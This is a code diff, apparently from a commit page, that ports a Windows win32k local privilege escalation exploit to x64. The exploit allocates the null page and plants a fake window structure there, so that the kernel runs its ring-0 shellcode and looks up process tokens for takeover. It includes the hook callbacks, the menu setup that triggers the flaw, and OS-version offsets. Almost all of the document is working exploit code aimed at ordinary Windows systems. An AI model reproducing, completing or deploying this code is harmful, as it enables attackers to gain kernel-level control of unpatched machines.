@@ -16,9 +16,13 @@ typedef NTSTATUS *PNTSTATUS;
16
16
17
17
#define DEBUGGING FALSE
18
18
19
+ #ifdef _M_X64
20
+ typedef unsigned __int64 QWORD ;
21
+ typedef QWORD * PQWORD ;
22
+ #endif
23
+
19
24
int WndProcClue = 0 ;
20
25
int HookCallbackClue = 0 ;
21
- int HookCallbackThreeClue = 0 ;
22
26
WNDPROC lpPrevWndFunc ;
23
27
DWORD MyProcessId = 0 ;
24
28
DWORD OffsetWindows = 0 ;
@@ -45,15 +49,15 @@ typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
45
49
);
46
50
47
51
typedef struct _SYSTEM_MODULE {
48
- ULONG Reserved1 ;
49
- ULONG Reserved2 ;
52
+ HANDLE Reserved1 ;
53
+ PVOID Reserved2 ;
50
54
PVOID ImageBaseAddress ;
51
55
ULONG ImageSize ;
52
56
ULONG Flags ;
53
- WORD Id ;
54
- WORD Rank ;
55
- WORD w018 ;
56
- WORD NameOffset ;
57
+ USHORT Id ;
58
+ USHORT Rank ;
59
+ USHORT w018 ;
60
+ USHORT NameOffset ;
57
61
BYTE Name [256 ];
58
62
} SYSTEM_MODULE , * PSYSTEM_MODULE ;
59
63
@@ -66,48 +70,28 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
66
70
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL ;
67
71
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL ;
68
72
69
- LRESULT __stdcall HookCallbackThree (int code , WPARAM wParam , LPARAM lParam )
70
- {
71
- if (wParam == 4 && * (DWORD * )lParam == GetCurrentThreadId () && * (DWORD * )(lParam + 12 ) == 0x900516 )
72
- HookCallbackThreeClue = 1 ;
73
- return CallNextHookEx (0 , code , wParam , lParam );
74
- }
75
73
76
- LRESULT __stdcall HookCallbackTwo (HWND hWnd , UINT Msg , WPARAM wParam , LPARAM lParam )
74
+ long CALLBACK HookCallbackTwo (HWND hWnd , UINT Msg , WPARAM wParam , LPARAM lParam )
77
75
{
78
- LRESULT result ;
79
- DWORD v5 ;
80
-
81
- if (Msg == 0x1EB )
82
- {
83
- v5 = GetCurrentThreadId ();
84
- SetWindowsHookExA (9 , HookCallbackThree , 0 , v5 );
85
- SendMessageA (hWnd , 0 , 0x900516u , 0 );
86
- UnhookWindowsHook (9 , HookCallbackThree );
87
- if (HookCallbackThreeClue )
88
- {
89
- EndMenu ();
90
- result = CallWindowProcA (lpPrevWndFunc , hWnd , 0x1EBu , wParam , lParam );
91
- }
92
- else
93
- {
94
- EndMenu ();
95
- result = -5 ;
96
- }
97
- }
98
- else
99
- {
100
- result = CallWindowProcA (lpPrevWndFunc , hWnd , Msg , wParam , lParam );
101
- }
102
- return result ;
76
+ EndMenu ();
77
+ return -5 ;
103
78
}
104
79
105
- LRESULT __stdcall HookCallback (int code , WPARAM wParam , LPARAM lParam ) {
80
+ LRESULT CALLBACK HookCallback (int code , WPARAM wParam , LPARAM lParam ) {
81
+ #ifdef _M_X64
82
+ if (* (DWORD * )(lParam + 16 ) == 0x1EB && !HookCallbackClue )
83
+ #else
106
84
if (* (DWORD * )(lParam + 8 ) == 0x1EB && !HookCallbackClue )
85
+ #endif
107
86
{
108
87
HookCallbackClue = 1 ;
109
- if (UnhookWindowsHook (4 , HookCallback ))
110
- lpPrevWndFunc = (WNDPROC )SetWindowLongA (* (HWND * )(lParam + 12 ), -4 , (LONG )HookCallbackTwo );
88
+ if (UnhookWindowsHook (WH_CALLWNDPROC , HookCallback )) {
89
+ #ifdef _M_X64
90
+ lpPrevWndFunc = (WNDPROC )SetWindowLongPtr (* (HWND * )(lParam + 24 ), GWLP_WNDPROC , (ULONG_PTR )HookCallbackTwo );
91
+ #else
92
+ lpPrevWndFunc = (WNDPROC )SetWindowLongA (* (HWND * )(lParam + 12 ), GWLP_WNDPROC , (LONG )HookCallbackTwo );
93
+ #endif
94
+ }
111
95
}
112
96
return CallNextHookEx (0 , code , wParam , lParam );
113
97
}
@@ -122,13 +106,21 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
122
106
return DefWindowProc (hwnd , msg , wParam , lParam );
123
107
}
124
108
109
+ #ifdef _M_X64
110
+ QWORD MyPtiCurrent (void ) {
111
+ void * teb = (void * )__readgsqword (0x30 );
112
+ QWORD Win32ThreadInfo = (QWORD )* ((PQWORD )((PBYTE )teb + 0x78 ));
125
113
114
+ return Win32ThreadInfo ;
115
+ }
116
+ #else
126
117
DWORD __stdcall MyPtiCurrent () {
127
118
__asm {
128
119
mov eax , fs : 18 h
129
120
mov eax , [eax + 40 h ]
130
121
}
131
122
}
123
+ #endif
132
124
133
125
int _stdcall shellcode_ring0 (int one , int two , int three , int four ) {
134
126
void * my_process_info = NULL ;
@@ -151,6 +143,7 @@ LogMessage(char* pszFormat, ...) {
151
143
va_list args ;
152
144
va_start (args , pszFormat );
153
145
vsprintf (s_acBuf , pszFormat , args );
146
+ printf ("%s\n" , s_acBuf );
154
147
OutputDebugString (s_acBuf );
155
148
va_end (args );
156
149
}
@@ -184,6 +177,12 @@ void Win32kNullPage(LPVOID lpPayload) {
184
177
return ;
185
178
}
186
179
180
+ #ifdef _M_X64
181
+ if (VersionInformation .dwMajorVersion == 6 && VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 1 ) { // Ex: Windows 7 SP1
182
+ LogMessage ("[*] Windows 6.1 found..." );
183
+ OffsetWindows = 0x208 ;
184
+ }
185
+ #else
187
186
if (VersionInformation .dwMajorVersion == 6 ) {
188
187
if (VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 1 ) { // Ex: Windows 7 SP1
189
188
LogMessage ("[*] Windows 6.1 found..." );
@@ -212,6 +211,7 @@ void Win32kNullPage(LPVOID lpPayload) {
212
211
return ;
213
212
}
214
213
}
214
+ #endif
215
215
else {
216
216
LogMessage ("[!] Major Version %d found, not supported" , VersionInformation .dwMajorVersion );
217
217
return ;
@@ -306,9 +306,13 @@ void Win32kNullPage(LPVOID lpPayload) {
306
306
return ;
307
307
}
308
308
309
+ #ifdef _M_X64
310
+ pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((QWORD )nt_base + ((QWORD )pPsLookupProcessByProcessId - (QWORD )ntkrnl ));
311
+ LogMessage ("[*] pPsLookupProcessByProcessId in kernel: %016llx\n" , pPsLookupProcessByProcessId );
312
+ #else
309
313
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((DWORD )nt_base + ((DWORD )pPsLookupProcessByProcessId - (DWORD )ntkrnl ));
310
-
311
314
LogMessage ("[*] pPsLookupProcessByProcessId in kernel: %08x\n" , pPsLookupProcessByProcessId );
315
+ #endif
312
316
313
317
MyProcessId = GetCurrentProcessId ();
314
318
@@ -336,7 +340,11 @@ void Win32kNullPage(LPVOID lpPayload) {
336
340
// Making everything ready for exploitation...
337
341
338
342
LogMessage ("[*] Allocating null page..." );
343
+ #ifdef _M_X64
344
+ ULONGLONG base_address = 0x00000000fffffffb ;
345
+ #else
339
346
DWORD base_address = 1 ;
347
+ #endif
340
348
SIZE_T region_size = 0x1000 ;
341
349
ULONG zero_bits = 0 ;
342
350
HANDLE current_process = NULL ;
@@ -350,7 +358,11 @@ void Win32kNullPage(LPVOID lpPayload) {
350
358
351
359
LogMessage ("[*] Getting PtiCurrent..." );
352
360
361
+ #ifdef _M_X64
362
+ ULONGLONG pti = MyPtiCurrent ();
363
+ #else
353
364
DWORD pti = MyPtiCurrent ();
365
+ #endif
354
366
355
367
if (pti == 0 ) {
356
368
LoadLibrary ("user32.dll" );
@@ -363,11 +375,28 @@ void Win32kNullPage(LPVOID lpPayload) {
363
375
return ;
364
376
}
365
377
else {
378
+ #ifdef _M_X64
379
+ LogMessage ("[*] Good! pti 0x%016llx" , pti );
380
+ #else
366
381
LogMessage ("[*] Good! pti 0x%08x" , pti );
382
+ #endif
367
383
}
368
384
369
-
370
385
LogMessage ("[*] Creating a fake structure at NULL..." );
386
+
387
+ #ifdef _M_X64
388
+ void * test = NULL ;
389
+ (QWORD )test = 0x10000000B ;
390
+ * ((PQWORD )test ) = pti ;
391
+
392
+ /* win32k!tagWND->bServerSideWindowProc = TRUE */
393
+ (QWORD )test = 0x100000025 ;
394
+ * ((PBYTE )test ) = 4 ;
395
+
396
+ /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
397
+ (QWORD )test = 0x10000008B ;
398
+ * ((PQWORD )test ) = & shellcode_ring0 ;
399
+ #else
371
400
void * test = promise_land + 3 ;
372
401
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
373
402
.text:BF8B93F4 02C mov edi, _gptiCurrent
@@ -380,7 +409,7 @@ void Win32kNullPage(LPVOID lpPayload) {
380
409
381
410
test = promise_land + 0x5b ;
382
411
* (LPDWORD )test = (DWORD )shellcode_ring0 ;
383
-
412
+ #endif
384
413
385
414
// Exploit!
386
415
@@ -394,7 +423,7 @@ void Win32kNullPage(LPVOID lpPayload) {
394
423
MENUITEMINFOA MenuOneInfo ;
395
424
memset (& MenuOneInfo , 0 , sizeof (MENUITEMINFOA ));
396
425
MenuOneInfo .cbSize = sizeof (MENUITEMINFOA );
397
- MenuOneInfo .fMask = 64 ;
426
+ MenuOneInfo .fMask = MIIM_STRING ;
398
427
399
428
if (InsertMenuItemA (MenuOne , 0 , TRUE, & MenuOneInfo ) != TRUE) {
400
429
LogMessage ("[!] First InsertMenuItemA failed" );
@@ -412,7 +441,7 @@ void Win32kNullPage(LPVOID lpPayload) {
412
441
MENUITEMINFOA MenuTwoInfo ;
413
442
memset (& MenuTwoInfo , 0 , sizeof (MENUITEMINFOA ));
414
443
MenuTwoInfo .cbSize = sizeof (MENUITEMINFOA );
415
- MenuTwoInfo .fMask = 68 ;
444
+ MenuTwoInfo .fMask = ( MIIM_STRING | MIIM_SUBMENU ) ;
416
445
MenuTwoInfo .dwTypeData = "" ;
417
446
MenuTwoInfo .cch = 1 ;
418
447
MenuTwoInfo .hSubMenu = MenuOne ;
@@ -423,8 +452,7 @@ void Win32kNullPage(LPVOID lpPayload) {
423
452
return ;
424
453
}
425
454
426
- DWORD thread_id = GetCurrentThreadId ();
427
- if (SetWindowsHookExA (4 , HookCallback , NULL , thread_id ) == NULL ) {
455
+ if (SetWindowsHookExA (WH_CALLWNDPROC , HookCallback , NULL , GetCurrentThreadId ()) == NULL ) {
428
456
LogMessage ("[!] SetWindowsHookExA failed :-(\n" );
429
457
DestroyMenu (MenuTwo );
430
458
DestroyMenu (MenuOne );
0 commit comments